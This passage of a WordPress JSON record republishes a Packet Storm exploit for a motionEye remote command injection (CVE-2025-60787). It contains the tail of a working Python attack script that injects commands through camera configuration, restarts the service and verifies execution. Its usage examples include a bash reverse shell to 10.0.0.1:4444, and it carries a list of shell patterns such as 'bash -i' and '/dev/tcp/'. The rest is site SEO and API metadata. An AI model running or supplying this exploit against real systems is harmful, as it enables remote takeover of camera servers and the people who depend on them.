list\\&#8221;)\\n                return results\\n            \\n            results[&#8216;cameras&#8217;] = True\\n    \\n            injection_success = False\\n            for camera in self.cameras:\\n                if self.inject_payload(camera[&#8216;id&#8217;], command):\\n                    injection_success = True\\n                    break\\n            \\n            if not injection_success:\\n                logger.error(\\&#8221;Failed to inject payload into any camera\\&#8221;)\\n                results[&#8216;injection&#8217;] = False\\n                return results\\n            \\n            results[&#8216;injection&#8217;] = True\\n            \\n            if self.restart_motion():\\n                results[&#8216;restart&#8217;] = True\\n            wait_time = 10\\n            logger.info(f\\&#8221;Waiting {wait_time} seconds for command execution&#8230;\\&#8221;)\\n            time.sleep(wait_time)\\n    \\n            results[&#8216;verification&#8217;] = self.verify_exploit()\\n            results[&#8216;overall&#8217;] = injection_success     \\n            logger.info(\\&#8221;=\\&#8221; * 60)\\n            logger.info(\\&#8221;Exploit execution completed\\&#8221;)\\n            logger.info(f\\&#8221;Results: {results}\\&#8221;)\\n            logger.info(\\&#8221;=\\&#8221; * 60)\\n            \\n            return results\\n    \\n    def main():\\n        \\&#8221;\\&#8221;\\&#8221;\\n        Main function with argument parsing.\\n        \\&#8221;\\&#8221;\\&#8221;\\n        import argparse\\n        \\n        parser = argparse.ArgumentParser(\\n            description=\\&#8221;MotionEye \\u003c= 0.43.1b4 RCE Exploit (CVE-2025-60787)\\&#8221;,\\n            formatter_class=argparse.RawDescriptionHelpFormatter,\\n            epilog=\\&#8221;\\&#8221;\\&#8221;\\n    Examples:\\n      %(prog)s -t http:\/\/192.168.1.100:8765 -c \\&#8221;touch \/tmp\/pwned\\&#8221;\\n      %(prog)s -t https:\/\/motioneye.local -c \\&#8221;id \\u003e \/tmp\/output\\&#8221; -v\\n      %(prog)s -t http:\/\/localhost:9999 -c \\&#8221;bash -i \\u003e\\u0026 \/dev\/tcp\/10.0.0.1\/4444 0\\u003e\\u00261\\&#8221; &#8211;dangerous\\n            \\&#8221;\\&#8221;\\&#8221;\\n        )\\n        \\n        parser.add_argument(&#8216;-t&#8217;, &#8216;&#8211;target&#8217;, required=True,\\n                           help=&#8217;Target URL (e.g., http:\/\/127.0.0.1:8765)&#8217;)\\n        parser.add_argument(&#8216;-u&#8217;, &#8216;&#8211;username&#8217;, default=&#8217;admin&#8217;,\\n                           help=&#8217;Username (default: admin)&#8217;)\\n        parser.add_argument(&#8216;-p&#8217;, &#8216;&#8211;password&#8217;, default=&#8221;,\\n                           help=&#8217;Password (default: empty)&#8217;)\\n        parser.add_argument(&#8216;-c&#8217;, &#8216;&#8211;command&#8217;, \\n                           default=&#8217;touch \/tmp\/pwned_by_exploit&#8217;,\\n                           help=&#8217;Command to execute (default: touch \/tmp\/pwned_by_exploit)&#8217;)\\n        parser.add_argument(&#8216;-v&#8217;, &#8216;&#8211;verbose&#8217;, action=&#8217;store_true&#8217;,\\n                           help=&#8217;Enable verbose output&#8217;)\\n        parser.add_argument(&#8216;&#8211;dangerous&#8217;, action=&#8217;store_true&#8217;,\\n                           help=&#8217;Acknowledge that the command may be dangerous&#8217;)\\n        parser.add_argument(&#8216;&#8211;camera&#8217;, help=&#8217;Specific camera ID to target (default: auto-detect)&#8217;)\\n        parser.add_argument(&#8216;&#8211;timeout&#8217;, type=int, default=30,\\n                           help=&#8217;Request timeout in seconds (default: 30)&#8217;)\\n        \\n        args = parser.parse_args()\\n    \\n        if args.verbose:\\n            logger.setLevel(logging.DEBUG)\\n    \\n        dangerous_patterns = [&#8216;bash -i&#8217;, &#8216;nc &#8216;, &#8216;reverse&#8217;, &#8216;shell&#8217;, &#8216;exec&#8217;, &#8216;\/dev\/tcp\/&#8217;]\\n        if any(pattern in args.command.lower() for pattern in dangerous_patterns) and not args.dangerous:\\n            logger.warning(\\&#8221; Command appears to be potentially dangerous!\\&#8221;)\\n            logger.warning(\\&#8221;Use &#8211;dangerous flag to proceed with this command\\&#8221;)\\n            sys.exit(1)\\n    \\n        exploit = MotionEyeExploit(\\n            target_url=args.target,\\n            username=args.username,\\n            password=args.password,\\n            timeout=args.timeout\\n        )\\n    \\n        try:\\n            results = exploit.run(args.command)\\n    \\n            if results[&#8216;overall&#8217;]:\\n                if results[&#8216;verification&#8217;]:\\n                    logger.info(\\&#8221; Exploit fully successful &#8211; command execution verified\\&#8221;)\\n                    sys.exit(0)\\n                else:\\n                    logger.info(\\&#8221;  Exploit likely successful &#8211; manual verification required\\&#8221;)\\n                    sys.exit(2)  \\n            else:\\n                logger.error(\\&#8221; Exploit failed\\&#8221;)\\n                sys.exit(1)\\n                \\n        except KeyboardInterrupt:\\n            logger.info(\\&#8221;\\\\nExploit interrupted by user\\&#8221;)\\n            sys.exit(130)\\n        except Exception as e:\\n            logger.error(f\\&#8221;Unexpected error: {e}\\&#8221;)\\n            if args.verbose:\\n                import traceback\\n                traceback.print_exc()\\n            sys.exit(1)\\n    \\n    if __name__ == \\&#8221;__main__\\&#8221;:\\n        main()\\n    \\t\\n    Greetings to :======================================================================\\n    jericho * Larry W. Cashdollar * r00t * Hussin-X * Malvuln (John Page aka hyp3rlinx)|\\n    ====================================================================================&#8221;,&#8221;sourceHref&#8221;:&#8221;https:\/\/packetstorm.news\/download\/215797&#8243;,&#8221;cvss&#8221;:{&#8220;score&#8221;:7.2,&#8221;severity&#8221;:&#8221;HIGH&#8221;,&#8221;vector&#8221;:&#8221;CVSS:3.1\/AV:N\/AC:L\/PR:H\/UI:N\/S:U\/C:H\/I:H\/A:H&#8221;,&#8221;version&#8221;:&#8221;3.1&#8243;},&#8221;cvss2&#8243;:{},&#8221;cvss3&#8243;:{&#8220;version&#8221;:&#8221;&#8221;,&#8221;vectorString&#8221;:&#8221;&#8221;,&#8221;baseScore&#8221;:0,&#8221;baseSeverity&#8221;:&#8221;&#8221;,&#8221;attackVector&#8221;:&#8221;&#8221;,&#8221;attackComplexity&#8221;:&#8221;&#8221;,&#8221;privilegesRequired&#8221;:&#8221;&#8221;,&#8221;userInteraction&#8221;:&#8221;&#8221;,&#8221;scope&#8221;:&#8221;&#8221;,&#8221;confidentialityImpact&#8221;:&#8221;&#8221;,&#8221;integrityImpact&#8221;:&#8221;&#8221;,&#8221;availabilityImpact&#8221;:&#8221;&#8221;,&#8221;cvssV3&#8243;:{&#8220;version&#8221;:&#8221;&#8221;,&#8221;vectorString&#8221;:&#8221;&#8221;,&#8221;baseScore&#8221;:0,&#8221;baseSeverity&#8221;:&#8221;&#8221;,&#8221;attackVector&#8221;:&#8221;&#8221;,&#8221;attackComplexity&#8221;:&#8221;&#8221;,&#8221;privilegesRequired&#8221;:&#8221;&#8221;,&#8221;userInteraction&#8221;:&#8221;&#8221;,&#8221;scope&#8221;:&#8221;&#8221;,&#8221;confidentialityImpact&#8221;:&#8221;&#8221;,&#8221;integrityImpact&#8221;:&#8221;&#8221;,&#8221;availabilityImpact&#8221;:&#8221;&#8221;}},&#8221;href&#8221;:&#8221;https:\/\/packetstorm.news\/files\/id\/215797\/&#8221;,&#8221;category_name&#8221;:&#8221;Exploit&#8221;,&#8221;post_link&#8221;:&#8221;&#8221;,&#8221;product&#8221;:&#8221;&#8221;,&#8221;version&#8221;:&#8221;&#8221;,&#8221;vendor&#8221;:&#8221;&#8221;,&#8221;ai_description&#8221;:&#8221;&#8221;,&#8221;ai_severity&#8221;:&#8221;&#8221;,&#8221;ai_vendor&#8221;:&#8221;&#8221;,&#8221;ai_product&#8221;:&#8221;&#8221;,&#8221;ai_version&#8221;:&#8221;&#8221;,&#8221;ai_score&#8221;:0}<\/p>\n","protected":false},"excerpt":{"rendered":"<p>{&#8220;lastseen&#8221;:&#8221;2026-02-18T17:37:27&#8243;,&#8221;description&#8221;:&#8221;A remote command injection vulnerability exists in motionEye versions up to and including 0.43.1b4. The issue arises from improper validation and sanitization of user\u2011supplied input&#8230;<\/p>\n","protected":false},"author":1,"featured_media":0,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[3],"tags":[6,8,39,12,15,13,53,7,11,5],"class_list":["post-41406","post","type-post","status-publish","format-standard","hentry","category-category_exploit","tag-cve","tag-cvss","tag-cvss-72","tag-exploit","tag-high","tag-news","tag-packetstorm","tag-security","tag-tapic","tag-vulnerability"],"yoast_head":"<!-- This site is optimized with the Yoast SEO plugin v27.5 - https:\/\/yoast.com\/product\/yoast-seo-wordpress\/ -->\n<title>\ud83d\udcc4 motionEye 0.43.1b4 Remote Command Injection_PACKETSTORM:215797 - zero redgem<\/title>\n<meta name=\"robots\" content=\"index, follow, max-snippet:-1, max-image-preview:large, max-video-preview:-1\" \/>\n<link rel=\"canonical\" href=\"https:\/\/zero.redgem.net\/?p=41406\" \/>\n<meta property=\"og:locale\" content=\"en_US\" \/>\n<meta property=\"og:type\" content=\"article\" \/>\n<meta property=\"og:title\" content=\"\ud83d\udcc4 motionEye 0.43.1b4 Remote Command Injection_PACKETSTORM:215797 - zero redgem\" \/>\n<meta property=\"og:description\" content=\"{&#8220;lastseen&#8221;:&#8221;2026-02-18T17:37:27&#8243;,&#8221;description&#8221;:&#8221;A remote command injection vulnerability exists in motionEye versions up to and including 0.43.1b4. The issue arises from improper validation and sanitization of user\u2011supplied input...\" \/>\n<meta property=\"og:url\" content=\"https:\/\/zero.redgem.net\/?p=41406\" \/>\n<meta property=\"og:site_name\" content=\"zero redgem\" \/>\n<meta property=\"article:published_time\" content=\"2026-02-18T12:49:53+00:00\" \/>\n<meta name=\"author\" content=\"invoker\" \/>\n<meta name=\"twitter:card\" content=\"summary_large_image\" \/>\n<meta name=\"twitter:label1\" content=\"Written by\" \/>\n\t<meta name=\"twitter:data1\" content=\"invoker\" \/>\n\t<meta name=\"twitter:label2\" content=\"Est. reading time\" \/>\n\t<meta name=\"twitter:data2\" content=\"20 minutes\" \/>\n<script type=\"application\/ld+json\" class=\"yoast-schema-graph\">{\"@context\":\"https:\\\/\\\/schema.org\",\"@graph\":[{\"@type\":\"Article\",\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/?p=41406#article\",\"isPartOf\":{\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/?p=41406\"},\"author\":{\"name\":\"invoker\",\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/#\\\/schema\\\/person\\\/fbfeae8dfad117ac08a7621bee1a1dca\"},\"headline\":\"\ud83d\udcc4 motionEye 0.43.1b4 Remote Command Injection_PACKETSTORM:215797\",\"datePublished\":\"2026-02-18T12:49:53+00:00\",\"mainEntityOfPage\":{\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/?p=41406\"},\"wordCount\":3972,\"commentCount\":0,\"publisher\":{\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/#organization\"},\"keywords\":[\"CVE\",\"CVSS\",\"CVSS-7.2\",\"exploit\",\"HIGH\",\"news\",\"packetstorm\",\"Security\",\"tapic\",\"Vulnerability\"],\"articleSection\":[\"category_exploit\"],\"inLanguage\":\"en-US\",\"potentialAction\":[{\"@type\":\"CommentAction\",\"name\":\"Comment\",\"target\":[\"https:\\\/\\\/zero.redgem.net\\\/?p=41406#respond\"]}]},{\"@type\":\"WebPage\",\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/?p=41406\",\"url\":\"https:\\\/\\\/zero.redgem.net\\\/?p=41406\",\"name\":\"\ud83d\udcc4 motionEye 0.43.1b4 Remote Command Injection_PACKETSTORM:215797 - zero redgem\",\"isPartOf\":{\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/#website\"},\"datePublished\":\"2026-02-18T12:49:53+00:00\",\"breadcrumb\":{\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/?p=41406#breadcrumb\"},\"inLanguage\":\"en-US\",\"potentialAction\":[{\"@type\":\"ReadAction\",\"target\":[\"https:\\\/\\\/zero.redgem.net\\\/?p=41406\"]}]},{\"@type\":\"BreadcrumbList\",\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/?p=41406#breadcrumb\",\"itemListElement\":[{\"@type\":\"ListItem\",\"position\":1,\"name\":\"Home\",\"item\":\"https:\\\/\\\/zero.redgem.net\\\/\"},{\"@type\":\"ListItem\",\"position\":2,\"name\":\"\ud83d\udcc4 motionEye 0.43.1b4 Remote Command Injection_PACKETSTORM:215797\"}]},{\"@type\":\"WebSite\",\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/#website\",\"url\":\"https:\\\/\\\/zero.redgem.net\\\/\",\"name\":\"zero redgem\",\"description\":\"\",\"publisher\":{\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/#organization\"},\"potentialAction\":[{\"@type\":\"SearchAction\",\"target\":{\"@type\":\"EntryPoint\",\"urlTemplate\":\"https:\\\/\\\/zero.redgem.net\\\/?s={search_term_string}\"},\"query-input\":{\"@type\":\"PropertyValueSpecification\",\"valueRequired\":true,\"valueName\":\"search_term_string\"}}],\"inLanguage\":\"en-US\"},{\"@type\":\"Organization\",\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/#organization\",\"name\":\"zero redgem\",\"url\":\"https:\\\/\\\/zero.redgem.net\\\/\",\"logo\":{\"@type\":\"ImageObject\",\"inLanguage\":\"en-US\",\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/#\\\/schema\\\/logo\\\/image\\\/\",\"url\":\"\",\"contentUrl\":\"\",\"width\":191,\"height\":188,\"caption\":\"zero redgem\"},\"image\":{\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/#\\\/schema\\\/logo\\\/image\\\/\"}},{\"@type\":\"Person\",\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/#\\\/schema\\\/person\\\/fbfeae8dfad117ac08a7621bee1a1dca\",\"name\":\"invoker\",\"image\":{\"@type\":\"ImageObject\",\"inLanguage\":\"en-US\",\"@id\":\"https:\\\/\\\/secure.gravatar.com\\\/avatar\\\/f17c01d7338e6932bcde121cf83569393df3374625d25afd62677cfb528f2e3e?s=96&d=mm&r=g\",\"url\":\"https:\\\/\\\/secure.gravatar.com\\\/avatar\\\/f17c01d7338e6932bcde121cf83569393df3374625d25afd62677cfb528f2e3e?s=96&d=mm&r=g\",\"contentUrl\":\"https:\\\/\\\/secure.gravatar.com\\\/avatar\\\/f17c01d7338e6932bcde121cf83569393df3374625d25afd62677cfb528f2e3e?s=96&d=mm&r=g\",\"caption\":\"invoker\"},\"sameAs\":[\"https:\\\/\\\/zero.redgem.net\"],\"url\":\"https:\\\/\\\/zero.redgem.net\\\/?author=1\"}]}<\/script>\n<!-- \/ Yoast SEO plugin. -->","yoast_head_json":{"title":"\ud83d\udcc4 motionEye 0.43.1b4 Remote Command Injection_PACKETSTORM:215797 - zero redgem","robots":{"index":"index","follow":"follow","max-snippet":"max-snippet:-1","max-image-preview":"max-image-preview:large","max-video-preview":"max-video-preview:-1"},"canonical":"https:\/\/zero.redgem.net\/?p=41406","og_locale":"en_US","og_type":"article","og_title":"\ud83d\udcc4 motionEye 0.43.1b4 Remote Command Injection_PACKETSTORM:215797 - zero redgem","og_description":"{&#8220;lastseen&#8221;:&#8221;2026-02-18T17:37:27&#8243;,&#8221;description&#8221;:&#8221;A remote command injection vulnerability exists in motionEye versions up to and including 0.43.1b4. The issue arises from improper validation and sanitization of user\u2011supplied input...","og_url":"https:\/\/zero.redgem.net\/?p=41406","og_site_name":"zero redgem","article_published_time":"2026-02-18T12:49:53+00:00","author":"invoker","twitter_card":"summary_large_image","twitter_misc":{"Written by":"invoker","Est. reading time":"20 minutes"},"schema":{"@context":"https:\/\/schema.org","@graph":[{"@type":"Article","@id":"https:\/\/zero.redgem.net\/?p=41406#article","isPartOf":{"@id":"https:\/\/zero.redgem.net\/?p=41406"},"author":{"name":"invoker","@id":"https:\/\/zero.redgem.net\/#\/schema\/person\/fbfeae8dfad117ac08a7621bee1a1dca"},"headline":"\ud83d\udcc4 motionEye 0.43.1b4 Remote Command Injection_PACKETSTORM:215797","datePublished":"2026-02-18T12:49:53+00:00","mainEntityOfPage":{"@id":"https:\/\/zero.redgem.net\/?p=41406"},"wordCount":3972,"commentCount":0,"publisher":{"@id":"https:\/\/zero.redgem.net\/#organization"},"keywords":["CVE","CVSS","CVSS-7.2","exploit","HIGH","news","packetstorm","Security","tapic","Vulnerability"],"articleSection":["category_exploit"],"inLanguage":"en-US","potentialAction":[{"@type":"CommentAction","name":"Comment","target":["https:\/\/zero.redgem.net\/?p=41406#respond"]}]},{"@type":"WebPage","@id":"https:\/\/zero.redgem.net\/?p=41406","url":"https:\/\/zero.redgem.net\/?p=41406","name":"\ud83d\udcc4 motionEye 0.43.1b4 Remote Command Injection_PACKETSTORM:215797 - zero redgem","isPartOf":{"@id":"https:\/\/zero.redgem.net\/#website"},"datePublished":"2026-02-18T12:49:53+00:00","breadcrumb":{"@id":"https:\/\/zero.redgem.net\/?p=41406#breadcrumb"},"inLanguage":"en-US","potentialAction":[{"@type":"ReadAction","target":["https:\/\/zero.redgem.net\/?p=41406"]}]},{"@type":"BreadcrumbList","@id":"https:\/\/zero.redgem.net\/?p=41406#breadcrumb","itemListElement":[{"@type":"ListItem","position":1,"name":"Home","item":"https:\/\/zero.redgem.net\/"},{"@type":"ListItem","position":2,"name":"\ud83d\udcc4 motionEye 0.43.1b4 Remote Command Injection_PACKETSTORM:215797"}]},{"@type":"WebSite","@id":"https:\/\/zero.redgem.net\/#website","url":"https:\/\/zero.redgem.net\/","name":"zero redgem","description":"","publisher":{"@id":"https:\/\/zero.redgem.net\/#organization"},"potentialAction":[{"@type":"SearchAction","target":{"@type":"EntryPoint","urlTemplate":"https:\/\/zero.redgem.net\/?s={search_term_string}"},"query-input":{"@type":"PropertyValueSpecification","valueRequired":true,"valueName":"search_term_string"}}],"inLanguage":"en-US"},{"@type":"Organization","@id":"https:\/\/zero.redgem.net\/#organization","name":"zero redgem","url":"https:\/\/zero.redgem.net\/","logo":{"@type":"ImageObject","inLanguage":"en-US","@id":"https:\/\/zero.redgem.net\/#\/schema\/logo\/image\/","url":"","contentUrl":"","width":191,"height":188,"caption":"zero redgem"},"image":{"@id":"https:\/\/zero.redgem.net\/#\/schema\/logo\/image\/"}},{"@type":"Person","@id":"https:\/\/zero.redgem.net\/#\/schema\/person\/fbfeae8dfad117ac08a7621bee1a1dca","name":"invoker","image":{"@type":"ImageObject","inLanguage":"en-US","@id":"https:\/\/secure.gravatar.com\/avatar\/f17c01d7338e6932bcde121cf83569393df3374625d25afd62677cfb528f2e3e?s=96&d=mm&r=g","url":"https:\/\/secure.gravatar.com\/avatar\/f17c01d7338e6932bcde121cf83569393df3374625d25afd62677cfb528f2e3e?s=96&d=mm&r=g","contentUrl":"https:\/\/secure.gravatar.com\/avatar\/f17c01d7338e6932bcde121cf83569393df3374625d25afd62677cfb528f2e3e?s=96&d=mm&r=g","caption":"invoker"},"sameAs":["https:\/\/zero.redgem.net"],"url":"https:\/\/zero.redgem.net\/?author=1"}]}},"_links":{"self":[{"href":"https:\/\/zero.redgem.net\/index.php?rest_route=\/wp\/v2\/posts\/41406","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/zero.redgem.net\/index.php?rest_route=\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/zero.redgem.net\/index.php?rest_route=\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/zero.redgem.net\/index.php?rest_route=\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/zero.redgem.net\/index.php?rest_route=%2Fwp%2Fv2%2Fcomments&post=41406"}],"version-history":[{"count":0,"href":"https:\/\/zero.redgem.net\/index.php?rest_route=\/wp\/v2\/posts\/41406\/revisions"}],"wp:attachment":[{"href":"https:\/\/zero.redgem.net\/index.php?rest_route=%2Fwp%2Fv2%2Fmedia&parent=41406"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/zero.redgem.net\/index.php?rest_route=%2Fwp%2Fv2%2Fcategories&post=41406"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/zero.redgem.net\/index.php?rest_route=%2Fwp%2Fv2%2Ftags&post=41406"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}